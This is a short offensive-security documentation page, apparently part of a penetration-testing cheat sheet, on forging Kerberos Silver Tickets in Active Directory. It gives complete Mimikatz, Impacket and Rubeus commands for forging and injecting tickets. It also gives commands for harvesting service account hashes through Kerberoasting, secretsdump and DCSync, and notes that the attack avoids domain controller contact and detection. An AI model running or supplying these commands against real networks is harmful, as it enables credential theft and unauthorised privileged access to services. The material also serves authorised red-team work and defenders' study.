> ## Documentation Index
> Fetch the complete documentation index at: https://docs.bytejmp.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Silver Ticket

> Silver Ticket: forge TGS with service account hash for targeted access without touching the DC.

## Overview

Forge TGS for specific service using service account NTLM hash. Unlike Golden Ticket — no DC contact needed, harder to detect. Limited to single service.

***

## Requirements

* Service account NTLM hash
* Domain SID
* Target SPN

***

## Common SPNs

| Service    | SPN Format                          |
| ---------- | ----------------------------------- |
| CIFS (SMB) | `cifs/target.domain.local`          |
| HTTP       | `http/target.domain.local`          |
| MSSQL      | `MSSQLSvc/target.domain.local:1433` |
| HOST       | `host/target.domain.local`          |
| LDAP       | `ldap/dc.domain.local`              |
| WSMAN      | `wsman/target.domain.local`         |

***

## Forge — Mimikatz

```cmd theme={"dark"}
mimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-DOMAIN-SID /target:target.domain.local /service:cifs /rc4:SERVICE_NTLM_HASH /ptt
```

### MSSQL

```cmd theme={"dark"}
mimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-DOMAIN-SID /target:sql.domain.local /service:MSSQLSvc /rc4:SVC_HASH /ptt
```

***

## Forge — Impacket

```bash theme={"dark"}
impacket-ticketer -nthash SERVICE_HASH -domain-sid S-1-5-21-DOMAIN-SID -domain domain.local -spn cifs/target.domain.local Administrator
```

### Use

```bash theme={"dark"}
export KRB5CCNAME=Administrator.ccache
impacket-smbclient domain.local/Administrator@target.domain.local -k -no-pass
```

***

## Forge — Rubeus

```powershell theme={"dark"}
.\Rubeus.exe silver /service:cifs/target.domain.local /rc4:SERVICE_HASH /user:Administrator /domain:domain.local /sid:S-1-5-21-DOMAIN-SID /ptt
```

***

## Get Service Account Hash

```bash theme={"dark"}
# Kerberoasting
impacket-GetUserSPNs DOMAIN/user:pass -dc-ip DC -request

# From compromised host (local admin)
impacket-secretsdump user:pass@TARGET

# DCSync (if DA)
impacket-secretsdump DOMAIN/admin:pass@DC -just-dc-user svc_account
```

***

## Notes

* No DC contact → harder to detect
* Forged for single service only
* Machine account hash works for CIFS/HOST
* Can set any user, any groups in PAC

***

## Quick Reference

| Task       | Command                                                 |
| ---------- | ------------------------------------------------------- |
| Forge CIFS | `kerberos::golden /service:cifs /rc4:HASH /ptt`         |
| Impacket   | `impacket-ticketer -nthash HASH -spn cifs/target Admin` |
| Use        | `export KRB5CCNAME=Admin.ccache` → `-k -no-pass`        |